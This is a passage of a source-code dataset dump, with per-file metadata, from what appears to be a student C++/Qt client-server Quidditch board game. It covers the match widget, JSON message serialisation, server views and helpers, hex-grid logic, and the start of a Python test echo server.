\"../UserHandler.h\"\n#include \"../../common/lib/file/file.h\"\n#include \"../../common/models/Manager.h\"\n\n#endif\n" }, { "alpha_fraction": 0.7125867009162903, "alphanum_fraction": 0.7135778069496155, "avg_line_length": 19.18000030517578, "blob_id": "fb3e6d9ac0a1580287e816153391ce7c845cf800", "content_id": "2ef4c21bcc60915adf77a4137729d86e0990ab45", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1009, "license_type": "permissive", "max_line_length": 54, "num_lines": 50, "path": "/src/client/gui/loginscreenwidget.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef LOGINSCREENWIDGET_H\n#define LOGINSCREENWIDGET_H\n\n#include <QWidget>\n#include <QMainWindow>\n#include <QLineEdit>\n#include <QMessageBox>\n#include <QLabel>\n#include <QFile>\n#include <QPushButton>\n#include <QVBoxLayout>\n#include <QFrame>\n#include <menuwindow.h>\n\n#include \"../send-views/views.h\"\n\nclass MainWindow;\n\nclass loginScreenWidget: public QWidget {\n Q_OBJECT\npublic:\n explicit loginScreenWidget(MainWindow * parent=0);\n void enableButtons();\n void disableButtons();\n\nsignals:\n\npublic slots:\n void logIn();\n void registerUser();\n void showCredits();\n void exit();\n void acceptLogin();\n void refuseLogin(int errorCode);\n void refuseRegister(int errorCode);\n void acceptRegister();\n\nprivate:\n QLineEdit * usernameLine;\n QPushButton * connectButton;\n QPushButton * creditsButton;\n QPushButton * registerButton;\n QPushButton * quitButton;\n QLineEdit * passLine;\n MainWindow * parent_;\n\n};\n#include <mainwindow.h>\n\n#endif // LOGINSCREENWIDGET_H\n" }, { "alpha_fraction": 0.7142857313156128, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 10.199999809265137, "blob_id": "5dcc9e03be95108d449ee3595847fa61dae01e68", "content_id": "1c1b94b84a5a4699c7c570fed86af56c8db22262", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 56, "license_type": "permissive", "max_line_length": 21, "num_lines": 5, "path": "/src/server/Makefile", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "include ../options.mk\n\nNAME=server\n\ninclude ../rules.mk\n" }, { "alpha_fraction": 0.5052582621574402, "alphanum_fraction": 0.5195139050483704, "avg_line_length": 35.99423599243164, "blob_id": "f6605676bad91a22b59f866f9b30f16dabfdd475", "content_id": "59c50192c9006ea727005b52f6b6abf200d3fec0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 12837, "license_type": "permissive", "max_line_length": 133, "num_lines": 347, "path": "/src/client/gui/matchwidget.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"matchwidget.h\"\n#include <iostream>\n#include <cmath>\n\nusing namespace std;\n\nMatchWidget::MatchWidget(Match * startingMatch, bool isGuest, int matchID, MainWindow * parent):\n QWidget(parent), parent_(parent), isGuest_(isGuest), matchID_(matchID) {\n //-----------------------MATCH INITIALISATION-----------------------\n currentMatch_ = startingMatch;\n\n //-------------------------SIZE SETTINGS---------------------------\n this->setFixedHeight(720);\n this->setFixedWidth(1280);\n\n //----------------------BACKGROUND SETTINGS---------------------------\n QVBoxLayout * layout = new QVBoxLayout;\n QLabel * image = new QLabel(this);\n image->setPixmap(QPixmap(ROOT_DIR + \"/images/Quidditch_pitch_hogwarts.jpg\"));\n layout->addWidget(image);\n\n\n //---------------------MAIN CONTAINER WIDGET---------------------------\n mainWidget = new QWidget(this);\n mainWidget->setFixedHeight(720);\n mainWidget->setFixedWidth(1280);\n QGridLayout * mainLayout = new QGridLayout(mainWidget);\n\n //------------------------SCORE SETTINGS--------------------------------\n int playerScore = currentMatch_->getScore()[isGuest_];\n int mult;\n isGuest_ ? mult = 10 : mult = 1;\n ownScore = new QLabel(\"You : \" + QString::fromStdString(std::to_string(playerScore)), mainWidget);\n ownScore->setFixedSize(250, 75);\n QFont font;\n font.setPointSize(17);\n ownScore->setStyleSheet(\" font-weight: bold; font-size: 18pt; color : rgb(102,102,255);\");\n ownScore->setAlignment(Qt::AlignBottom | Qt::AlignJustify);\n ownScore->setWordWrap(true);\n ownScore->setFont(font);\n ownScore->move(100 * mult, 50);\n ownScore->show();\n\n int otherScore = currentMatch_->getScore()[!isGuest_];\n opponentScore = new QLabel(\"Opponent : \" + QString::fromStdString(std::to_string(otherScore)), mainWidget);\n opponentScore->setFixedSize(250, 75);\n opponentScore->setAlignment(Qt::AlignBottom | Qt::AlignJustify);\n opponentScore->setStyleSheet(\" font-weight: bold; font-size: 18pt; color : rgb(255, 71, 25);\");\n opponentScore->setWordWrap(true);\n opponentScore->setFont(font);\n opponentScore->move(1000 / mult, 50);\n opponentScore->show();\n\n //---------------------FIELD CONTAINER WIDGET--------------------------\n fieldWidget = new QFrame(mainWidget);\n\n\n //---------------------FIELD REPRESENTATION----------------------------\n\n fieldWidget->setFixedSize(QSize(LENGTH * 20, WIDTH * 17));\n QWidget * temp = new QWidget(fieldWidget);\n\n temp->setFixedSize((mainWidget->height() - WIDTH * 20) / 2, (mainWidget->width() - LENGTH * 20) / 2);\n mainLayout->setRowMinimumHeight(0, 100);\n mainLayout->addWidget(temp, 0, 0);\n mainLayout->addWidget(fieldWidget, 1, 1);\n\n turnEndButton = new QPushButton(\"End of turn\", mainWidget);\n turnEndButton->setMinimumHeight(30);\n mainLayout->addWidget(turnEndButton, 2, 2);\n\n QPushButton * surrenderButton = new QPushButton(\"Surrender\", mainWidget);\n surrenderButton->setMinimumHeight(30);\n mainLayout->addWidget(surrenderButton, 2, 3);\n\n //----------------------BUTTONS SIGNALS CONNECT-------------------------\n QObject::connect(turnEndButton, SIGNAL(clicked()), this, SLOT(endTurn()));\n QObject::connect(surrenderButton, SIGNAL(clicked()), this, SLOT(surrender()));\n\n //----------------------CUSTOM SIGNALS CONNECT-------------------------\n\n QObject::connect(parent_, SIGNAL(updateMatch(Match *)), this, SLOT(setCurrentMatch(Match *)));\n QObject::connect(parent_, SIGNAL(endMatch(int)), this, SLOT(endMatch(int)));\n\n\n //--------------------------START------------------------------\n currentMatch_->getGrid(grid_);\n label = 0;\n refreshField();\n\n mainWidget->show();\n\n}\n\nvoid MatchWidget::refreshField() {\n this->hide();\n ownScore->setText(\"You : \" + QString::fromStdString(std::to_string(currentMatch_->getScore()[isGuest_])));\n opponentScore->setText(\"Opponent : \" + QString::fromStdString(std::to_string(currentMatch_->getScore()[!isGuest_])));\n\n label = new QLabel(fieldWidget);\n QPixmap * pixmap = new QPixmap(LENGTH * 20, WIDTH * 17);\n pixmap->fill(Qt::transparent);\n\n QPainter painter(pixmap);\n Hexagon hexagon[WIDTH][LENGTH];\n QBrush * grass = new QBrush(QImage(ROOT_DIR + \"/images/grass.jpg\"));\n\n int xlabelDifference = 22;\n int ylabelDifference = 7;\n double x = 0;\n double y = 0;\n bool pair = true;\n bool highlighted;\n bool chosen;\n for (int i = 0; i < WIDTH; ++i) {\n for (int j = 0; j < LENGTH; ++j) {\n highlighted = false;\n chosen = false;\n hexagon[i][j].setX(x);\n hexagon[i][j].setY(y);\n hexagon[i][j].setCorners();\n\n x += 18;\n if (isCaseHighlighted(i, j)) {\n painter.setBrush(QBrush(QColor(71, 158, 158)));\n highlighted = true;\n painter.drawPolygon(hexagon[i][j].hexagon_);\n }\n else if (isInChosenWays(i, j)) {\n painter.setBrush(QBrush(QColor(85, 18, 201)));\n chosen = true;\n painter.drawPolygon(hexagon[i][j].hexagon_);\n }\n if (grid_[i][j].type == USABLE) {\n if (grid_[i][j].player != 0) {\n if (!highlighted && !chosen) {\n if (grid_[i][j].player->isInGuestTeam() == isGuest_) {\n if (grid_[i][j].player->hasQuaffle()) {\n painter.setBrush(QBrush(QColor(0, 100, 0)));\n }\n else {\n painter.setBrush(QBrush(Qt::blue));\n }\n }\n else {\n if (grid_[i][j].player->hasQuaffle()) {\n painter.setBrush(QBrush(QColor(255, 120, 31)));\n }\n else {\n painter.setBrush(QBrush(Qt::red));\n }\n }\n }\n if (grid_[i][j].player->getRole() == KEEPER) {\n playerLabels_[grid_[i][j].player->isInGuestTeam()][KEEPER] = new QLabel(\"K\", fieldWidget);\n playerLabels_[grid_[i][j].player->isInGuestTeam()][KEEPER]->move(x - xlabelDifference, y - ylabelDifference);\n }\n else if (grid_[i][j].player->getRole() == CHASER) {\n playerLabels_[grid_[i][j].player->isInGuestTeam()][CHASER] = new QLabel(\"C\", fieldWidget);\n playerLabels_[grid_[i][j].player->isInGuestTeam()][CHASER]->move(x - xlabelDifference, y - ylabelDifference);\n }\n else if (grid_[i][j].player->getRole() == SEEKER) {\n playerLabels_[grid_[i][j].player->isInGuestTeam()][SEEKER] = new QLabel(\"S\", fieldWidget);\n playerLabels_[grid_[i][j].player->isInGuestTeam()][SEEKER]->move(x - xlabelDifference, y - ylabelDifference);\n }\n else if (grid_[i][j].player->getRole() == BEATER) {\n playerLabels_[grid_[i][j].player->isInGuestTeam()][BEATER] = new QLabel(\"B\", fieldWidget);\n playerLabels_[grid_[i][j].player->isInGuestTeam()][BEATER]->move(x - xlabelDifference, y - ylabelDifference);\n }\n }\n else if ((grid_[i][j].ball != 0) && !highlighted && !chosen) {\n string ballName = grid_[i][j].ball->getName();\n if (ballName == \"B\") {\n painter.setBrush(QBrush(Qt::black));\n }\n else if (ballName == \"Q\") {\n painter.setBrush(QBrush(QColor(140, 52, 52)));\n }\n else { //ballName == \"G\"\n painter.setBrush(QBrush(Qt::yellow));\n }\n }\n else {\n if (!highlighted && !chosen) {\n painter.setBrush(*grass);\n }\n }\n if (!highlighted && !chosen) {\n painter.drawPolygon(hexagon[i][j].hexagon_);\n }\n }\n else if ((grid_[i][j].type == GOAL) && !highlighted && !chosen) {\n painter.setBrush(QBrush(QColor(64, 64, 72)));\n painter.drawPolygon(hexagon[i][j].hexagon_);\n }\n }\n y += 15;\n if (pair) {\n x = 35;\n }\n else {\n x = 26;\n }\n pair = !pair;\n }\n label->setPixmap(*pixmap);\n\n this->show();\n}\n\nbool MatchWidget::isInChosenWays(unsigned x, unsigned y) {\n for (size_t i = 0; i < chosenWays.size(); ++i) {\n for (size_t j = 0; j < chosenWays[i].size(); ++j) {\n if ((chosenWays[i][j].x == x) && (chosenWays[i][j].y == y)) {\n return true;\n }\n }\n }\n return false;\n}\n\nbool MatchWidget::isCaseHighlighted(unsigned a, unsigned b) {\n for (size_t i = 0; i < highlightedCases.size(); ++i) {\n if ((highlightedCases[i].x == a) && (highlightedCases[i].y == b)) {\n return true;\n }\n }\n return false;\n}\n\nMatchWidget::~MatchWidget() {}\n\n\nvoid MatchWidget::setCurrentMatch(Match * match) {\n turnEndButton->setEnabled(true);\n turnEndButton->setStyleSheet(\"color : white;\");\n currentMatch_ = match;\n Case grid[WIDTH][LENGTH];\n currentMatch_->getGrid(grid);\n for (int i = 0; i < WIDTH; ++i) {\n for (int j = 0; j < LENGTH; ++j) {\n grid_[i][j] = grid[i][j];\n }\n }\n\n refreshField();\n}\n\nPosition MatchWidget::getCase(QMouseEvent * event) {\n int row = 0;\n int column = 0;\n double hexagonHeight = 18;\n double hexagonWidth = 15;\n double halfHeight = hexagonHeight / 2;\n int startHeight = 103;\n int startWidth = 144;\n\n if ((event->x() > startHeight) && (event->x() < 1200)) {\n if ((event->y() > startWidth) && (event->y() < 580)) {\n\n // These will represent which box the mouse is in, not which hexagon!\n row = (event->y() - startWidth) / hexagonWidth;\n bool rowIsOdd = row % 2 == 0;\n\n // Is the row an even number?\n if (rowIsOdd) {\n column = ((event->x() - startHeight) / hexagonHeight);\n }\n else {\n column = ((event->x() - startHeight + halfHeight) / hexagonHeight);\n }\n }\n }\n Position mouseCase;\n mouseCase.x = row + 1;\n mouseCase.y = column;\n return mouseCase;\n}\n\nvoid MatchWidget::endTurn() {\n turnEndButton->setDisabled(true);\n turnEndButton->setStyleSheet(\"color : black;\");\n sviews::endTurn(parent_->getSocket(), chosenWays);\n chosenWays.clear();\n\n}\n\nvoid MatchWidget::surrender() {\n sviews::surrenders(parent_->getSocket(), matchID_);\n\n}\n\nvoid MatchWidget::mousePressEvent(QMouseEvent * event) {\n if (event->button() == Qt::RightButton) {\n highlightedCases.clear();\n refreshField();\n }\n else {\n Position clickedCase = getCase(event);\n int i = clickedCase.x;\n int j = clickedCase.y;\n if (highlightedCases.empty()) {\n if ((grid_[i][j].player != 0) && (grid_[i][j].player->isInGuestTeam() == isGuest_)) {\n highlightedCases.push_back(clickedCase);\n }\n }\n else {\n if (isCloseCase(clickedCase, highlightedCases[highlightedCases.size() - 1], 0)) {\n if ((unsigned)grid_[highlightedCases[0].x][highlightedCases[0].y].player->getSpeed() >= highlightedCases.size()) {\n highlightedCases.push_back(clickedCase);\n }\n }\n else if (highlightedCases[highlightedCases.size() - 1] == clickedCase) {\n emit this->nextPlayer();\n }\n }\n refreshField();\n }\n}\n\nvoid MatchWidget::endMatch(int signal) {\n QString message;\n switch (signal) {\n case EndMatch::WIN:\n message = \"You have won! Congratulations\";\n break;\n case EndMatch::LOSE:\n message = \"You have lost.\";\n break;\n case EndMatch::SURRENDER_WIN:\n message = \"You have won! Your opponent surrendered\";\n break;\n case EndMatch::SURRENDER_LOSE:\n message = \"You have surrendered. Your opponent thanks you.\";\n break;\n }\n QMessageBox::information(this, \"End of match\", message, QMessageBox::Ok);\n parent_->setNextScreen(MAINMENUSTATE);\n\n\n}\n\nvoid MatchWidget::nextPlayer() {\n chosenWays.push_back(highlightedCases);\n highlightedCases.clear();\n refreshField();\n}\n" }, { "alpha_fraction": 0.6500896215438843, "alphanum_fraction": 0.6509856581687927, "avg_line_length": 29.16216278076172, "blob_id": "be81a0fae360f08f5ba9597281485e8d1b8bf2a0", "content_id": "78356c0f6ddd4be043c28a5bf304ccbf22b784ae", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2232, "license_type": "permissive", "max_line_length": 72, "num_lines": 74, "path": "/src/client/send-views/views.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"views.h\"\n\nusing namespace std;\n\nvoid writeToServer(Socket * s, string topic, string message) {\n s->write(topic + \":\" + message);\n}\n\nnamespace sviews {\nvoid login(Socket * s, string username, string password) {\n JsonDict answer;\n answer.add(\"username\", new JsonString(username));\n answer.add(\"password\", new JsonString(password));\n writeToServer(s, \"login\", answer.toString());\n}\n\nvoid signup(Socket * s, string username, string name, string password) {\n JsonDict answer;\n answer.add(\"username\", new JsonString(username));\n answer.add(\"name\", new JsonString(name));\n answer.add(\"password\", new JsonString(password));\n writeToServer(s, \"register\", answer.toString());\n}\n\nvoid challenge(Socket * s, string opponent) {\n JsonDict answer;\n answer.add(\"other_username\", new JsonString(opponent));\n writeToServer(s, \"challenge\", answer.toString());\n}\n\nvoid playerlist(Socket * s) {\n writeToServer(s, \"playerlist\", \"true\");\n}\n\nvoid userlist(Socket * s) {\n writeToServer(s, \"userlist\", \"true\");\n}\n\nvoid acceptChallenge(Socket * s, string opponent, int matchID) {\n JsonDict answer;\n answer.add(\"other_username\", new JsonString(opponent));\n answer.add(\"id\", new JsonInt(matchID));\n writeToServer(s, \"accept_challenge\", answer.toString());\n}\n\nvoid refuseChallenge(Socket * s, string opponent, int matchID) {\n JsonDict answer;\n answer.add(\"other_username\", new JsonString(opponent));\n answer.add(\"id\", new JsonInt(matchID));\n writeToServer(s, \"refuse_challenge\", answer.toString());\n}\n\nvoid endTurn(Socket * s, vector<Way> chosenWays) {\n JsonList message;\n for (int i = 0; i < chosenWays.size(); i++) {\n JsonList * way_list = new JsonList();\n for (int j = 0; j < chosenWays[i].size(); j++) {\n JsonList * pos_list = new JsonList();\n pos_list->add(new JsonInt(chosenWays[i][j].x));\n pos_list->add(new JsonInt(chosenWays[i][j].y));\n way_list->add(pos_list);\n }\n message.add(way_list);\n }\n writeToServer(s, \"end_turn\", message.toString());\n}\n\nvoid surrenders(Socket * s, int matchID) {\n JsonInt message = JsonInt(matchID);\n\n writeToServer(s, \"surrender\", message.toString());\n}\n\n}\n" }, { "alpha_fraction": 0.608013927936554, "alphanum_fraction": 0.6097561120986938, "avg_line_length": 27.700000762939453, "blob_id": "1bebe810b552a286245572ed1da6a9d497278d51", "content_id": "cecd3b1c96b3810ba56c9df9a68d69bae8746ba8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 574, "license_type": "permissive", "max_line_length": 84, "num_lines": 20, "path": "/src/server/views/management.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"user.h\"\n\nusing namespace std;\n\nnamespace views {\n\nvoid playerlist(JsonValue * message, UserHandler * handler) {\n Manager * manager = handler->getManager();\n JsonList * playerslist;\n if ((manager != NULL)) {\n playerslist = new JsonList();\n vector<NonFieldPlayer *> players = manager->getClub()->getNonFieldPlayers();\n for (int i = 0; i < players.size(); i++) {\n JsonDict * player = new JsonDict(*(players[i]));\n playerslist->add(player);\n }\n }\n handler->writeToClient(\"playerlist\", playerslist);\n}\n}\n" }, { "alpha_fraction": 0.7734375, "alphanum_fraction": 0.7734375, "avg_line_length": 24.600000381469727, "blob_id": "f8f0884ddfbd60b3115a186f47119744efef1a2f", "content_id": "8f0f2a1e85909eb475431f7293433db3a9143ab1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 128, "license_type": "permissive", "max_line_length": 80, "num_lines": 5, "path": "/src/common/lib/exception/BadRequest.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"BadRequest.h\"\n\nusing namespace std;\n\nBadRequest::BadRequest(string message): runtime_error::runtime_error(message) {}\n" }, { "alpha_fraction": 0.736940324306488, "alphanum_fraction": 0.736940324306488, "avg_line_length": 23.363636016845703, "blob_id": "79d709493f01651d559cc423da2ff288f7543409", "content_id": "bdaf75eca426fb15a533a5255f63d8c26985523a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 536, "license_type": "permissive", "max_line_length": 66, "num_lines": 22, "path": "/src/server/views/challenge.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef SVIEWCHALLENGE_H\n#define SVIEWCHALLENGE_H\n\n#include <cstdlib>\n#include <vector>\n\n#include \"helpers.h\"\n#include \"../../common/lib/json/json.h\"\n#include \"../../common/lib/json/helpers.h\"\n#include \"../../common/lib/exception/BadRequest.h\"\n\nclass UserHandler;\n\nnamespace views {\nvoid challenge(JsonValue * message, UserHandler * handler);\nvoid accept_challenge(JsonValue * message, UserHandler * handler);\nvoid refuse_challenge(JsonValue * message, UserHandler * handler);\n}\n\n#include \"../UserHandler.h\"\n\n#endif // SVIEWCHALLENGE_H\n" }, { "alpha_fraction": 0.6753343343734741, "alphanum_fraction": 0.6753343343734741, "avg_line_length": 23.925926208496094, "blob_id": "ab03b5ca90633e37a225b2d49be5e1121db54279", "content_id": "832c89642677f026358ebf1f3470a70395f85fcc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1346, "license_type": "permissive", "max_line_length": 74, "num_lines": 54, "path": "/src/server/UserHandler.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef HANDLE_H\n#define HANDLE_H\n\n#include <vector>\n#include <string>\n#include <map>\n#include <iostream>\n#include <pthread.h>\n\n#include \"../common/lib/socket/Socket.h\"\n#include \"../common/models/Manager.h\"\n#include \"../common/models/Match.h\"\n#include \"../common/lib/exception/BadRequest.h\"\n#include \"helpers.h\"\n#include \"sharedData.h\"\n\nclass UserHandler;\n\ntypedef void (* view_ptr)(JsonValue *, UserHandler *);\n\n\nclass UserHandler {\npublic:\n UserHandler(struct server_shared_data * shared_data, Socket * socket);\n ~UserHandler();\n int loop();\n\n std::vector<UserHandler *> * getHandlers_list();\n std::vector<Match *> * getMatch_list();\n std::vector<Challenge> * getChalenge_list();\n struct server_shared_data * getSharedData();\n Manager * getManager();\n UserHandler * findHandler(std::string);\n UserHandler * findHandler(Manager *);\n void setManager(Manager * manager);\n int writeToClient(std::string key, JsonValue * json);\n void disconnect();\n std::string path(std::string dir, std::string var);\n bool writeToFile();\n Match * getMatch();\n bool inMatch();\n\nprivate:\n bool dead;\n Socket * s_;\n Manager * manager_;\n struct server_shared_data * shared_data_;\n\n void handleMessage(std::string message);\n\n static const std::map<std::string, view_ptr> viewmap;\n};\n//HANDLE_H\n#endif\n" }, { "alpha_fraction": 0.6818873882293701, "alphanum_fraction": 0.689497709274292, "avg_line_length": 22.464284896850586, "blob_id": "9486e101ad17d731871ca80067411e1460e7f0c3", "content_id": "79a69d3c5e6857e68d5110aff369c9e255e5b0da", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 657, "license_type": "permissive", "max_line_length": 68, "num_lines": 28, "path": "/src/common/models/Team.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef TEAM_H\n#define TEAM_H\n\n#include \"Player.h\"\n#include \"NonFieldPlayer.h\"\n#include \"../lib/json/json.h\"\n#include \"ModelUnserializationError.h\"\n\nclass Team {\n\npublic:\n Team(NonFieldPlayer * players[7]);\n Team();\n Team(JsonValue * json);\n ~Team();\n void setPlayers(NonFieldPlayer players[7]);\n void setPlayer(NonFieldPlayer & player, int pos);\n NonFieldPlayer * getPlayer(int pos);\n NonFieldPlayer * changePlayer(int pos, NonFieldPlayer & player);\n NonFieldPlayer & removePlayer(int pos);\n void swapPlayers(int pos1, int pos2);\n operator JsonDict() const;\n\nprivate:\n NonFieldPlayer * players_[7];\n};\n\n#endif // TEAM_H\n" }, { "alpha_fraction": 0.6446043252944946, "alphanum_fraction": 0.6460431814193726, "avg_line_length": 30.590909957885742, "blob_id": "2890cf7c936149235ab3725b6af8beed15ab53d8", "content_id": "63f56fa6e505387bce284d5159c89dd58a91a58d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 695, "license_type": "permissive", "max_line_length": 87, "num_lines": 22, "path": "/src/server/views/helpers.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"helpers.h\"\n\nusing namespace std;\n\nvoid sendFail(UserHandler * handler, int errorcode, string topic, string message) {\n JsonDict answer;\n\n answer.add(\"success\", new JsonBool(false));\n answer.add(\"reason\", new JsonString(message));\n answer.add(\"code\", new JsonInt(errorcode));\n handler->writeToClient(topic, &answer);\n}\n\nbool isInConnectedList(std::vector<UserHandler *> * listUserHandler, string userName) {\n bool ret = false;\n for (int i = 0; i < listUserHandler->size() && !ret; i++) {\n if (listUserHandler->at(i)->getManager() != NULL) {\n ret = listUserHandler->at(i)->getManager()->getUserName() == userName;\n }\n }\n return ret;\n}\n" }, { "alpha_fraction": 0.7381656765937805, "alphanum_fraction": 0.7396449446678162, "avg_line_length": 16.33333396911621, "blob_id": "dac7021aff471a838210c17dc777ae5fc3f2c3e1", "content_id": "88a2851173a0485413d94c380ce6f3a8d747be90", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 676, "license_type": "permissive", "max_line_length": 55, "num_lines": 39, "path": "/src/client/gui/teamhandlingwidget.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef TEAMHANDLINGWIDGET_H\n#define TEAMHANDLINGWIDGET_H\n\n#include <QMainWindow>\n#include <QLineEdit>\n#include <QMessageBox>\n#include <QLabel>\n#include <QFile>\n#include <QPushButton>\n#include <QBoxLayout>\n#include <QWidget>\n#include <QString>\n#include <QComboBox>\n#include <QTableWidget>\n#include <iostream>\n#include <../../common/models/NonFieldPlayer.h>\n#include <../send-views/views.h>\n\n\nclass MainWindow;\n\n\nclass TeamHandlingWidget: public QWidget {\n Q_OBJECT\npublic:\n explicit TeamHandlingWidget(MainWindow * parent=0);\n\nsignals:\n\npublic slots:\n void backToMenu();\n\nprivate:\n MainWindow * parent_;\n};\n\n#include <mainwindow.h>\n\n#endif // TEAMHANDLINGWIDGET_H\n" }, { "alpha_fraction": 0.6639999747276306, "alphanum_fraction": 0.6815999746322632, "avg_line_length": 21.321428298950195, "blob_id": "bdee9f4f78b7505fe8e2e630a74186d8575a85cf", "content_id": "72bf1102224a6b5b046a373b1ba74ca49d59e5d6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 625, "license_type": "permissive", "max_line_length": 89, "num_lines": 28, "path": "/src/common/models/Case.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef CASE_H\n#define CASE_H\n\n#include \"FieldPlayer.h\"\n#include \"Ball.h\"\n#include \"Position.h\"\n\nenum { VOID = 0, USABLE = 1, GOAL = 2 };\n\nenum { UP_RIGHT, RIGHT, DOWN_RIGHT, DOWN_LEFT, LEFT, UP_LEFT};\n\ntypedef std::vector<Position> Way;\n\nenum { WIDTH = 30, LENGTH = 64};\n\nstruct Case {\n static Case fromJson(JsonValue * json);\n int type;\n FieldPlayer * player = 0;\n Ball * ball = 0;\n\n operator JsonDict() const;\n};\n\nPosition nextCase(Position position, int direction, const Case grid[WIDTH][LENGTH]);\nbool isCloseCase(Position position1, Position position2, const Case grid[WIDTH][LENGTH]);\n\n#endif // CASE_H\n" }, { "alpha_fraction": 0.4935794472694397, "alphanum_fraction": 0.5, "avg_line_length": 24.428571701049805, "blob_id": "da5c361bcefa5749df4137bef5dfc28f2f69e6b5", "content_id": "e1b97badd4a46c9ba6bf3e602a609c7636edc0ce", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2492, "license_type": "permissive", "max_line_length": 118, "num_lines": 98, "path": "/src/common/models/Case.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"Case.h\"\nusing namespace std;\n\n\nCase Case::fromJson(JsonValue * json) {\n JsonDict * case_dict = JDICT(json);\n if (case_dict == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n JsonInt * type_int = JINT((*case_dict)[\"type\"]);\n if (type_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n int type = *type_int;\n\n FieldPlayer * player;\n if (JNULL((*case_dict)[\"player\"]) == NULL) {\n player = new FieldPlayer((*case_dict)[\"player\"]);\n }\n else {\n player = NULL;\n }\n\n Case newCase;\n newCase.type = type;\n newCase.player = player;\n newCase.ball = 0;\n return newCase;\n\n}\n\nCase::operator JsonDict() const {\n JsonDict r;\n r.add(\"type\", new JsonInt(type));\n if (player != NULL) {\n r.add(\"player\", new JsonDict(*player));\n }\n else {\n r.add(\"player\", new JsonNull());\n }\n return r;\n}\n\nbool isCloseCase(Position position1, Position position2, const Case grid[WIDTH][LENGTH]) {\n for (int i = 0; i < 6; ++i) {\n if (position2 == nextCase(position1, i, grid)) {\n return true;\n }\n }\n return false;\n}\n\nPosition nextCase(Position position, int direction, const Case grid[WIDTH][LENGTH]) {\n Position nextPosition;\n nextPosition.x = position.x;\n nextPosition.y = position.y;\n switch (direction) {\n case UP_RIGHT:\n nextPosition.x--;\n if (position.x % 2 != 0) {\n nextPosition.y++;\n }\n break;\n case RIGHT:\n nextPosition.y++;\n break;\n case DOWN_RIGHT:\n nextPosition.x++;\n if (position.x % 2 != 0) {\n nextPosition.y++;\n }\n break;\n case DOWN_LEFT:\n nextPosition.x++;\n if (position.x % 2 == 0) {\n nextPosition.y--;\n }\n break;\n case LEFT:\n nextPosition.y--;\n break;\n case UP_LEFT:\n nextPosition.x--;\n if (position.x % 2 == 0) {\n nextPosition.y--;\n }\n break;\n }\n if (grid != 0) {\n if (grid[nextPosition.x][nextPosition.y].type == VOID) {\n nextPosition.x = position.x;\n nextPosition.y = position.y;\n }\n }\n return nextPosition;\n}\n" }, { "alpha_fraction": 0.5942028760910034, "alphanum_fraction": 0.5942028760910034, "avg_line_length": 12.800000190734863, "blob_id": "ed9e8e60a07d444637ba64d0f9a52331a2f4c041", "content_id": "341742f485bcb7289815ce1ce9724cab60d47d93", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 69, "license_type": "permissive", "max_line_length": 27, "num_lines": 5, "path": "/src/common/lib/file/Makefile", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "include ../../../options.mk\n\nNAME=libfile\n\ninclude ../../../rules.mk\n" }, { "alpha_fraction": 0.5114454030990601, "alphanum_fraction": 0.5238718390464783, "avg_line_length": 20.53521156311035, "blob_id": "e03e85628ec642ead93d9e9749183959451a2275", "content_id": "db8b2d5afb16962e64316e3343d1360790afe71e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1529, "license_type": "permissive", "max_line_length": 106, "num_lines": 71, "path": "/src/common/lib/test/python/dummyserver.py", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nPORT = 50007\n\n# Echo server program\nimport socket\nimport sys\nimport json\n\nHOST = None # Symbolic name meaning all available interfaces\n\n\ndef bindto(host, port):\n s = None\n\n for res in socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM, 0, 